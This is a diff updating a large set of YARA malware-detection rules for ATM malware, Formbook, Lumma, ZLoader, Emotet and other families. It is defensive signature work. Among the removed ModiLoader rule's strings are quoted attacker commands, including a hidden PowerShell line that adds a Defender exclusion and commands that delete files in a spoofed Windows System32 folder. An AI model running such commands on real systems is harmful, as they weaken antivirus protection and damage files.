00 3? 00) } - $unc_path2 = { 5C 5C (3? 2E|3? 3? 2E|3? 3? 3? 2E) (3? 2E|3? 3? 2E|3? 3? 3? 2E) (3? 2E|3? 3? 2E|3? 3? 3? 2E) (3?|3? 3?|3? 3? 3?) } - $unc_a = "\x00\x00\x00\x5c\x5c" base64 - $unc_w = "\x00\x00\x5c\x00\x5c" base64wide - $mail1 = "from:" ascii wide nocase - $mail2 = "received:" ascii wide nocase + $Code_Bytes = { 68 FF FF 00 00 68 60 EA 00 00 6A 10 } + $XFSKILL = "injected mxsfs killer into" nocase ascii wide + $PDB = "C:\\_bkittest\\dispenser\\Release_noToken\\dispenserXFS.pdb" nocase ascii wide condition: - (( uint32be( 0 ) == 0xD0CF11E0 or uint32be( 0 ) == 0x789F3E22 ) or ( all of ( $mail* ) ) ) and ( ( $ipmtask or $ipmappointment ) or ( $ipmtaskb64 or $ipmappointmentb64 ) ) and ( ( $unc_path1 or $unc_path2 ) or ( $unc_a or $unc_w ) ) + (hash.sha256 ( 0 , filesize ) == "867991ade335186baa19a227e3a044c8321a6cef96c23c98eef21fe6b87edf6a" ) or ( uint16( 0 ) == 0x5A4D and 1 of them ) +} +rule R3C0NST_ATM_Malware_Loup : FILE +{ + meta: + description = "Detects ATM Malware Loup" + author = "Frank Boldewin (@r3c0nst)" + id = "4786362f-b2c5-5b69-8b06-9216561286e6" + date = "2020-08-17" + modified = "2020-08-17" + reference = "https://twitter.com/r3c0nst/status/1295275546780327936" + source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.Loup.yar#L1-L16" + license_url = "N/A" + hash = "6c9e9f78963ab3e7acb43826906af22571250dc025f9e7116e0201b805dc1196" + logic_hash = "39efced4ee3a6147acf5732e4be3a5e9859268b35b79f5e8e87d7c4d77a588c0" + score = 75 + quality = 90 + tags = "FILE" + + strings: + $String1 = "C:\\Users\\muham\\source\\repos\\loup\\Debug\\loup.pdb" ascii nocase + $String2 = "CurrencyDispenser1" ascii nocase + $Code = {50 68 C0 D4 01 00 8D 4D E8 51 68 2E 01 00 00 0F B7 55 08 52 E8} + + condition: + uint16( 0 ) == 0x5A4D and filesize < 100KB and all of ( $String* ) and $Code +} +rule R3C0NST_UNC2891_Slapstick : FILE +{ + meta: + description = "Detects UNC2891 Slapstick pam backdoor" + author = "Frank Boldewin (@r3c0nst)" + id = "a731acff-f657-5877-859e-7447230576df" + date = "2022-03-30" + modified = "2023-01-05" + reference = "https://github.com/fboldewin/YARA-rules/" + source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/UNC2891_Slapstick.yar#L1-L19" + license_url = "N/A" + logic_hash = "7777c3b850f5b7ee326be5461ebc3bf37fb201b67ada78b50575fb31f50adf9a" + score = 75 + quality = 90 + tags = "FILE" + hash1 = "9d0165e0484c31bd4ea467650b2ae2f359f67ae1016af49326bb374cead5f789" + + strings: + $code1 = {F6 50 04 48 FF C0 48 39 D0 75 F5} + $code2 = {88 01 48 FF C1 8A 11 89 C8 29 F8 84 D2 0F 85} + $str1 = "/proc/self/exe" fullword ascii + $str2 = "%-23s %-23s %-23s %-23s %-23s %s" fullword ascii + $str3 = "pam_sm_authenticate" ascii + $str4 = "ACCESS GRANTED & WELCOME" xor + + condition: + uint32( 0 ) == 0x464c457f and filesize < 100KB and ( all of ( $code* ) or all of ( $str* ) ) } /* * YARA Rule Set * Repository Name: CAPE * Repository: https://github.com/kevoreilly/CAPEv2 - * Retrieval Date: 2026-02-22 - * Git Commit: 7ace95378cd09c8e26138125761b13750dfc6cb4 + * Retrieval Date: 2026-03-01 + * Git Commit: a9a0887dab232f52c59e955b9984dd494c47ce6b * Number of Rules: 185 * Skipped: 0 (age), 18 (quality), 3 (score), 0 (importance) * @@ -61662,509 +61662,63 @@ License, Version 2.0. The files bootstrap.min.js, bootstrap.min.css, bootstrap-responsive.min.css, glyphicons-halflings.png, glyphicons-halflings-white.png are copyrighted by Twitter, Inc. -and licensed under the Apache License, Version 2.0. - -The file analyzer/windows/modules/amsi.py uses parts of pywintrace -(https://github.com/fireeye/pywintrace), which is copyrighted by FireEye, Inc. and licensed -under the Apache License, Version 2.0. - - */ -rule CAPE_Formhooka -{ - meta: - description = "Formbook Anti-hook Bypass" - author = "kevoreilly" - id = "6369de74-99eb-57ae-a315-c15f22effc73" - date = "2021-03-07" - modified = "2025-12-08" - reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/Formbook.yar#L1-L14" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "21b8101a7039cfad0e9d49cc1f055bc23a2eb4c973dcda2a81a007e452d77a6d" - score = 75 - quality = 70 - tags = "" - cape_options = "clear,bp0=$remap_ntdll_0,action0=setedx:ntdll,count0=1,bp1=$remap_ntdll_1,action1=setdst:ntdll,count1=1" - packed = "9e38c0c3c516583da526016c4c6a671c53333d3d156562717db79eac63587522" - packed = "b8e44f4a0d92297c5bb5b217c121f0d032850b38749044face2b0014e789adfb" - - strings: - $remap_ntdll_0 = {33 56 04 8D 86 [2] 00 00 68 F0 00 00 00 50 89 56 ?? E8 [4] 8B [1-5] 6A 00 6A 04 8D 4D ?? 51 6A 07 52 56 E8 [4] 8B 45 ?? 83 C4 20 3B} - $remap_ntdll_1 = {33 56 0C 8D 86 [2] 00 00 68 F0 00 00 00 50 89 56 ?? E8 [4] 8B [1-5] 6A 00 6A 04 8D 4D ?? 51 6A 07 52 56 E8 [4] 8B 45 ?? 83 C4 20 3B} - - condition: - any of them -} -rule CAPE_Formconfa -{ - meta: - description = "Formbook Config Extraction" - author = "kevoreilly" - id = "f9c3fc92-e2c8-5968-b0f4-80bd8199b7ca" - date = "2021-03-07" - modified = "2025-12-08" - reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/Formbook.yar#L32-L44" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "b0aa4cec55a21245d8104380c531dd6cc0fdef64fbefd79616eadfb4e95b2d75" - score = 75 - quality = 70 - tags = "" - cape_options = "clear,bp0=$c2,action0=string:rcx+1,bp1=$decoy+67,action1=string:rcx+1,count=0,typestring=Formbook Config" - packed = "b8e44f4a0d92297c5bb5b217c121f0d032850b38749044face2b0014e789adfb" - - strings: - $c2 = {44 8B C6 48 8B D3 49 8B CE E8 [4] 44 88 23 41 8B DD 48 8D [2] 66 66 66 0F 1F 84 00 00 00 00 00 BA 8D 00 00 00 41 FF C4} - $decoy = {8B D7 0F 1F 44 00 00 0F B6 03 FF C0 48 98 48 03 D8 48 FF CA 75 ?? 44 0F B6 03 48 8D 53 01 48 8D 4C [2] E8} - - condition: - all of them -} -rule CAPE_Formhelper -{ - meta: - description = "Formbook Config Extraction" - author = "kevoreilly" - id = "88ff1354-1ae7-5380-a586-ef95212d59df" - date = "2021-03-07" - modified = "2025-12-08" - reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/Formbook.yar#L46-L58" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "77cdfc94aac089c4f2590f4afbab35351fc6e104e67813548c68c59d27019a63" - score = 75 - quality = 70 - tags = "" - cape_options = "clear,bp2=$config,action2=scan,count=0" - packed = "0270016f451f9ba630f2ea4e2ea006fb89356627835b560bb2f4551a735ba0e1" - - strings: - $config = {40 55 53 56 57 41 54 41 55 41 56 41 57 48 8D AC 24 [4] 48 81 EC [2] 00 00 45 33 ?? 33 C0 4C 8B E9 4C 89} - $decode = {66 66 66 66 0F 1F 84 00 00 00 00 00 0F B6 41 01 48 FF C9 28 41 01 49 FF C9} - - condition: - all of them -} -rule CAPE_Formconfb -{ - meta: - description = "Formbook Config Extraction" - author = "kevoreilly" - id = "46d78206-578b-5e12-b466-cd81610a5008" - date = "2021-03-07" - modified = "2025-12-08" - reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/Formbook.yar#L60-L75" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "d21596f25daea284790984b4ea0ba9c2764b94832791f43f9bb582085eaf6492" - score = 75 - quality = 70 - tags = "" - cape_options = "clear,bp0=$c2_1,bp0=$c2_2,action0=string:rcx,bp1=$decoy,action1=string:rdi,bp2=$config,action2=scan,bp3=$sleep+5,action3=skip,count=0,typestring=Formbook Config" - packed = "60571b2683e7b753a77029ebe9b5e1cb9f3fbfa8d6a43e4b7239eefd13141ae4" - - strings: - $c2_1 = {44 0F B6 5D ?? 45 84 DB 74 ?? 48 8D 4D [1-5] 41 80 FB 2F 74 11 0F B6 41 01 48 FF C1 FF C3 44 0F B6 D8 84 C0 75} - $c2_2 = {40 53 48 83 EC 20 48 8B DA 48 85 C9 74 28 80 39 00 74 23 48 85 D2 74 1E 48 8B D1 41 B8 04 00 00 00 48 8B CB E8} - $decoy = {44 8D 1C 33 [0-13] 48 8D 7D [1-5] 42 C6 44 [2] 00 [0-4] 48 8B CF E8} - $config = {40 55 53 56 57 41 54 41 55 41 56 41 57 48 8D AC 24 [4] 48 81 EC [2] 00 00 45 33 F6 33 C0 4C 8B E9 4C 89 75} - $sleep = {B9 88 13 00 00 FF D7 44 8B 9B [4] 41 81 FB 00 01 00 00 75 ?? 48 39 B3 [4] 74 ?? 8B 83 [4] 05 00 20 00 00 39 B0} - - condition: - 2 of them -} -rule CAPE_Xworm -{ - meta: - description = "XWorm Config Extractor" - author = "kevoreilly" - id = "0f55dbfb-c239-53f2-a1e0-bfa494558d6e" - date = "2023-11-07" - modified = "2023-11-07" - reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/XWorm.yar#L1-L11" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "d8e103f3470e83d71cd4992b74698c0721b8a69d764fdb7a4543997b2853014a" - score = 75 - quality = 70 - tags = "" - cape_options = "bp0=$decrypt+11,action0=string:r10,count=1,typestring=XWorm Config" - - strings: - $decrypt = {45 33 C0 39 09 FF 15 [4] 48 8B F0 E8 [4] 48 8B C8 48 8B D6 48 8B 00 48 8B 40 68 FF 50 ?? 90} - - condition: - any of them -} -rule CAPE_Modiloader : FILE -{ - meta: - description = "ModiLoader detonation shim" - author = "kevoreilly" - id = "64f9aa51-d668-5d40-9781-c26970acf781" - date = "2023-10-19" - modified = "2025-01-31" - reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/ModiLoader.yar#L1-L13" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - hash = "1f0cbf841a6bc18d632e0bc3c591266e77c99a7717a15fc4b84d3e936605761f" - logic_hash = "9e64e0c40192cc832a1ffa7b3ac65a704596af82515d03706cd7aa1f4498f32f" - score = 75 - quality = 70 - tags = "FILE" - cape_options = "exclude-apis=NtAllocateVirtualMemory:NtProtectVirtualMemory" - - strings: - $epilog1 = {81 C2 A1 03 00 00 87 D1 29 D3 33 C0 5A 59 59 64 89 10 68} - $epilog2 = {6A 00 6A 01 8B 45 ?? 50 FF 55 ?? 33 C0 5A 59 59 64 89 10 68} - - condition: - uint16( 0 ) == 0x5a4d and all of them -} -rule CAPE_Modiloaderold : FILE -{ - meta: - description = "ModiLoader detonation shim" - author = "ditekSHen" - id = "2b3fd8ec-b672-574b-9b50-1a9ca9f43299" - date = "2023-10-19" - modified = "2025-01-31" - reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/ModiLoader.yar#L15-L53" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "fc006377e6d41515503b0b234ff87f59d930a7d9f8b32d2e072de79b9c52ddc4" - score = 75 - quality = 66 - tags = "FILE" - cape_options = "ntdll-protect=0" - - strings: - $x1 = "*()%@5YT!@#G__T@#$%^&*()__#@$#57$#!@" fullword wide - $x2 = "dntdll" fullword wide - $x3 = "USERPROFILE" fullword wide - $s1 = "%s, ProgID: \"%s\"" ascii - $s2 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" ascii - $s3 = "responsetext" ascii - $s4 = "C:\\Users\\Public\\" ascii - $s5 = "[InternetShortcut]" fullword ascii - $c1 = "start /min powershell -WindowStyle Hidden -inputformat none -outputformat none -NonInteractive -Command \"Add-MpPreference -ExclusionPath 'C:\\Users'\" & exit" ascii nocase - $c2 = "mkdir \"\\\\?\\C:\\Windows \"" ascii nocase - $c3 = "mkdir \"\\\\?\\C:\\Windows \\System32\"" ascii nocase - $c4 = "ECHO F|xcopy \"" ascii nocase - $c5 = "\"C:\\Windows \\System32\" /K /D /H /Y" ascii nocase - $c6 = "ping 127.0.0.1 -n 6 > nul" ascii nocase - $c7 = "del /q \"C:\\Windows \\System32\\*\"" ascii nocase - $c8 = "rmdir \"C:\\Windows \\System32\"" ascii nocase - $c9 = "rmdir \"C:\\Windows \"" ascii nocase - $g1 = "powershell" ascii nocase - $g2 = "mkdir \"\\\\?\\C:\\" ascii nocase - $g3 = "\" /K /D /H /Y" ascii nocase - $g4 = "ping 127.0.0.1 -n" ascii nocase - $g5 = "del /q \"" ascii nocase - $g6 = "rmdir \"" ascii nocase - - condition: - uint16( 0 ) == 0x5a4d and ( ( 2 of ( $x* ) and ( all of ( $g* ) or ( 2 of ( $s* ) and 2 of ( $c* ) ) ) ) or ( all of ( $s* ) and ( 2 of ( $c* ) or all of ( $g* ) ) ) or ( 4 of ( $c* ) and ( 1 of ( $x* ) or 2 of ( $s* ) ) ) or ( all of ( $g* ) and 4 of ( $c* ) ) or 13 of them ) -} -rule CAPE_Vbcrypter -{ - meta: - description = "VBCrypter anti-hook Bypass" - author = "kevoreilly" - id = "2e010dfd-5096-5e81-af9b-174322a47d87" - date = "2021-03-28" - modified = "2021-03-28" - reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/VBCrypter.yar#L1-L11" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "a62bca62ab624ab1a2c2e612c5b7e6d543006026a49c07c46800499e31e41c4e" - score = 75 - quality = 70 - tags = "" - cape_options = "bp0=$antihook-12,action0=jmp,count=0" - - strings: - $antihook = {43 39 C3 0F 84 ?? 00 00 00 80 3B B8 75 ?? 83 7B 01 00 75 ?? 80 7B 05 BA 75 ?? 8B 53 06 83 C3 0A 31 C9} - - condition: - any of them -} -rule CAPE_Bumblebee : FILE -{ - meta: - description = "BumbleBee Anti-VM Bypass" - author = "enzo & kevoreilly" - id = "85e2c9fd-86de-57c8-99ec-de2cc3996876" - date = "2022-04-21" - modified = "2023-02-08" - reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/BumbleBee.yar#L34-L46" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "0a632a0b30b28d544880eb1cfdd85e95f455c343d60f8d6922d4196ef7415961" - score = 75 - quality = 70 - tags = "FILE" - cape_options = "bp0=$antivm1+2,bp1=$antivm2+2,bp1=$antivm3+38,action0=jmp,action1=skip,count=0,force-sleepskip=1" - - strings: - $antivm1 = {84 C0 74 09 33 C9 FF [4] 00 CC 33 C9 E8 [3] 00 4? 8B C8 E8} - $antivm2 = {84 C0 0F 85 [2] 00 00 33 C9 E8 [4] 48 8B C8 E8 [4] 48 8D 85} - $antivm3 = {33 C9 E8 [4] 48 8B C8 E8 [4] 83 CA FF 48 8B 0D [4] FF 15 [4] E8 [4] 84 c0} - - condition: - uint16( 0 ) == 0x5A4D and any of them -} -rule CAPE_Zloader : FILE -{ - meta: - description = "Zloader API Spam Bypass" - author = "kevoreilly" - id = "8a8e7102-1138-59e7-95a6-8647d41d8521" - date = "2021-03-12" - modified = "2024-05-03" - reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/Zloader.yar#L1-L12" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "319adca805083c7f5854fe840447cf961addbd748f1f25eb8ec8cdeed7af38aa" - score = 75 - quality = 70 - tags = "FILE" - cape_options = "bp0=$trap1-5,action0=hooks:0,bp1=$traps-108,action1=jmp:15,bp2=$traps-88,action2=hooks:1,count=0" - - strings: - $trap1 = {81 F7 4C 01 00 00 8D B4 37 [2] FF FF 31 FE 69 FE 95 03 00 00 E8 [4] 31 FE 0F AF FE 0F AF FE E8} - $traps = {6A 44 53 E8 [2] FF FF 83 C4 08 8D 85 ?? FF FF FF C7 85 ?? FF FF FF 44 00 00 00 50} - - condition: - uint16( 0 ) == 0x5A4D and any of them -} -rule CAPE_Zloader_2024 : FILE -{ - meta: - description = "Zloader Registry and Modulename Bypass" - author = "enzok" - id = "7100c27e-021f-552c-9a75-84b07a2f837e" - date = "2021-03-12" - modified = "2024-05-03" - reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/Zloader.yar#L14-L26" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "38d555ef5f613cf7ca043697c479100a7a22e7f043acf8b6a46f8009eb92fd7e" - score = 75 - quality = 70 - tags = "FILE" - cape_options = "bp0=$reg_1*+1,bp0=$reg_2*+1,action0=seteax:1,count=0" - - strings: - $reg_1 = {FF D0 83 F8 00 0F 94 C0 24 01 88 44 24 ?? 4? 8B [3] B? [9-25] E8 [4] 4? 89 F1 FF D0 8A [3] 24 01 0F B6 C0} - $reg_2 = {B9 [4] E8 [4] 8B [3] 89 C2 E8 [4] 4? [4] ff D0 8A [3] 24 01 0F B6 C0} - $name_1 = {56 5? 5? 4? 81 EC [4] C7 44 24 ?? 00 00 00 00 4? 8D 0D [4] E8 [4] 4? 89 [3] 4? 83 [3] 00 75} - - condition: - uint16( 0 ) == 0x5A4D and 2 of them -} -rule CAPE_Buerloader : FILE -{ - meta: - description = "BuerLoader RDTSC Trap Bypass" - author = "kevoreilly" - id = "38f01199-6bd2-5519-b570-8c0f46e74286" - date = "2021-03-13" - modified = "2021-03-13" - reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/BuerLoader.yar#L1-L11" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "6f9f9b4c01251c0643c61701084cca2bdfeea08ca95f982355565cf05483d940" - score = 75 - quality = 70 - tags = "FILE" - cape_options = "bp0=$trap+43,action0=skip,count=0" - - strings: - $trap = {0F 31 89 45 ?? 6A 00 8D 45 ?? 8B CB 50 E8 [4] 0F 31} - - condition: - uint16( 0 ) == 0x5A4D and any of them -} -rule CAPE_Heavenssyscall : FILE -{ - meta: - description = "Bypass variants of heaven's gate direct syscalls" - author = "kevoreilly" - id = "7c60102a-ac8b-5e28-8dbb-4b6c3f4cddff" - date = "2024-03-25" - modified = "2024-03-25" - reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/HeavensSyscall.yar#L1-L13" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "aeb981fcba0936ff8b1be4c601445fd45e5d3b74856a9439d351edd57f5a50c3" - score = 75 - quality = 70 - tags = "FILE" - cape_options = "clear,br0=$gate1-9,action1=seteax:0,count=0,sysbp=$sysenter+10" - packed = "2950b4131886e06bdb83ab1611b71273df23b0d31a4d8eb6baddd33327d87ffa" - - strings: - $gate1 = {00 00 00 00 74 24 8D 45 F8 50 6A FF FF 95 [4] 85 C0 74 08 8B 4D F8 89 4D FC EB 07 C7 45 FC 00 00 00 00 8B 45 FC EB 02 33 C0 8B E5 5D C2 C0} - $sysenter = {68 [4] E8 [4] E8 [4] C2 ?? 00 CC CC CC CC CC CC CC CC} - - condition: - uint16( 0 ) == 0x8B55 and all of them -} -rule CAPE_Gettickcountantivm -{ - meta: - description = "GetTickCountAntiVM bypass" - author = "kevoreilly" - id = "d90b9768-0525-5963-9817-e3a53b1d4cf3" - date = "2021-12-14" - modified = "2022-02-25" - reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/GetTickCountAntiVM.yar#L1-L20" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - hash = "662bc7839ed7ddd82d5fdafa29fafd9a9ec299c28820fe4104fbba9be1a09c42" - hash = "00f1537b13933762e1146e41f3bac668123fac7eacd0aa1f7be0aa37a91ef3ce" - hash = "549bca48d0bac94b6a1e6eb36647cd007fed5c0e75a0e4aa315ceabdafe46541" - hash = "90c29a66209be554dfbd2740f6a54d12616da35d0e5e4af97eb2376b9d053457" - logic_hash = "9cdb0b2d2e058e1858c2f2baad67005a2019fbbdcb7ca54571c8d20dfbf33471" - score = 75 - quality = 70 - tags = "" - cape_options = "bp0=$antivm1-13,bp0=$antivm5-40,bp0=$antivm6,action0=wret,hc0=1,bp1=$antivm2-6,action1=wret,hc1=1,count=1,bp2=$antivm3+42,action2=jmp:96,bp3=$antivm4-9,action3=wret,hc3=1" - - strings: - $antivm1 = {57 FF D6 FF D6 BF 01 00 00 00 FF D6 F2 0F 10 0D [4] 47 66 0F 6E C7 F3 0F E6 C0 66 0F 2F C8 73} - $antivm2 = {F2 0F 11 45 ?? FF 15 [4] 6A 00 68 10 27 00 00 52 50 E8 [4] 8B C8 E8 [4] F2 0F 59 45} - $antivm3 = {0F 57 C0 E8 [4] 8B 35 [4] BF 01 00 00 00 FF D6 F2 0F 10 0D [4] 47 66 0F 6E C7 F3 0F E6 C0 66 0F 2F C8 73} - $antivm4 = {F2 0F 11 45 EC FF 15 [4] 8B DA 8B C8 BA [4] 89 5D FC F7 E2 BF [4] 89 45 F4 8B F2 8B C1 B9} - $antivm5 = {BB 01 00 00 00 8B FB 90 FF 15 [4] FF C7 66 0F 6E C7 F3 0F E6 C0 66 0F 2F F8 73 EA} - $antivm6 = {48 81 EC 88 00 00 00 0F 57 C0 F2 0F 11 44 [2] F2 0F 10 05 [4] F2 0F 11 44 [2] F2 0F 10 05 [4] F2 0F 11} - - condition: - any of them -} -rule CAPE_Doomedloader : FILE -{ - meta: - description = "No description has been set in the source file - CAPE" - author = "kevoreilly" - id = "88436e71-360e-5719-989f-24e71591ebe0" - date = "2024-04-12" - modified = "2024-07-25" - reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/DoomedLoader.yar#L1-L12" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "54a5962ef49ebf987908c4ea1559788f7c96a7e4ea61d2973636e998a0239c77" - score = 75 - quality = 70 - tags = "FILE" - cape_options = "clear,bp0=$anti*-4,action0=setzeroflag,sysbp=$syscall+7,count=0,procdump=2" - packed = "914b1b3180e7ec1980d0bafe6fa36daade752bb26aec572399d2f59436eaa635" - - strings: - $anti = {48 8B 4C 24 ?? E8 [4] 84 C0 B8 [4] 41 0F 45 C6 EB} - $syscall = {49 89 CA 8B 44 24 08 FF 64 24 10} - - condition: - uint16( 0 ) == 0x5A4D and all of them -} -rule CAPE_Emotetpacker : FILE -{ - meta: - description = "Emotet bypass" - author = "kevoreilly" - id = "67b8e14c-5fa8-52af-bb9a-1663b084fbf0" - date = "2022-03-31" - modified = "2022-06-09" - reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/EmotetPacker.yar#L1-L13" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - hash = "5a95d1d87ce69881b58a0e3aafc1929861e2633cdd960021d7b23e2a36409e0d" - logic_hash = "5f27d9d18884f7e0805f69960869b332c1577bf8be8ac103285e8bf98cda0ffd" - score = 75 - quality = 70 - tags = "FILE" - cape_options = "bp0=$trap1+31,action0=skip,bp1=$trap2+43,action1=jmp:186,count=1" +and licensed under the Apache License, Version 2.0. - strings: - $trap1 = {8B 45 08 0F 28 0D [4] 0F 57 C0 0F 29 46 30 89 46 40 C7 46 44 00 00 00 00 0F 11 4E 48 E8} - $trap2 = {F2 0F 10 15 [4] BE 01 00 00 00 0F 01 F9 C7 44 24 60 00 00 00 00 89 4C 24 60 0F 01 F9 C7 44 24 5C 00 00 00 00 89 4C 24 5C 0F 1F 84 00 00 00 00 00} +The file analyzer/windows/modules/amsi.py uses parts of pywintrace +(https://github.com/fireeye/pywintrace), which is copyrighted by FireEye, Inc. and licensed +under the Apache License, Version 2.0. - condition: - uint16( 0 ) == 0x5A4D and any of ( $trap* ) -} -rule CAPE_Smokeinjector : FILE + */ +rule CAPE_Lumma : FILE { meta: - description = "No description has been set in the source file - CAPE" + description = "Lumma config extraction" author = "kevoreilly" - id = "955afcbe-45c9-5c9a-a76b-d89ae1b381bc" - date = "2023-02-06" - modified = "2025-11-19" + id = "b2166620-3070-5727-b189-e6959cc5b698" + date = "2024-01-05" + modified = "2024-05-09" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/SmokeLoader.yar#L1-L11" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "757a2bf8aceb92bee839bfcaba3b1a8bc4c037812b969e0f493e4f7a4ddc9ede" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/Lumma.yar#L1-L14" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "a8f9212b619796f91f14c4164e4d2f30c66b51118f22f3d6c310841b6707b7b0" score = 75 quality = 70 tags = "FILE" - cape_options = "monitor=explorer" - packed = "d38f9ab81a054203e5b5940e6d34f3c8766f4f4104b14840e4695df511feaa30" + cape_options = "bp0=$decode+5,action0=string:ebp,count=0,bp1=$patch+8,action1=skip,typestring=Lumma Config" + packed = "0ee580f0127b821f4f1e7c032cf76475df9724a9fade2e153a69849f652045f8" strings: - $dec1 = {80 04 08 [0-7] (49|83 E9 01) [0-7] 41 [0-7] 81 F1 [2] 00 00 [0-7] 01 D9 [0-7] FF E1} + $c2 = {8D 44 24 ?? 50 89 4C 24 ?? FF 31 E8 [4] 83 C4 08 B8 FF FF FF FF} + $decode = {C6 44 05 00 00 83 C4 2C 5E 5F 5B 5D C3} + $patch = {66 C7 0? 00 00 8B 46 1? C6 00 01 8B} condition: - uint16( 0 ) == 0x5A4D and any of them + uint16( 0 ) == 0x5a4d and 2 of them } -rule CAPE_Slowloader +rule CAPE_Lummaremap { meta: - description = "SlowLoader detonation aide for slow cpus (thread race)" + description = "Lumma ntdll-remap bypass" author = "kevoreilly" - id = "05724bf4-b767-542d-a2dd-a9ae3e5ea5cc" - date = "2024-09-23" - modified = "2024-09-23" + id = "93ae37d1-a38a-5f96-8bb3-cc648a49b588" + date = "2024-01-05" + modified = "2024-05-09" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/SlowLoader.yar#L1-L12" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "f07528c646ebd980a5e843caa4a4715e31b22c3cd091576600e9fe45d7fc2fe4" + source_url = 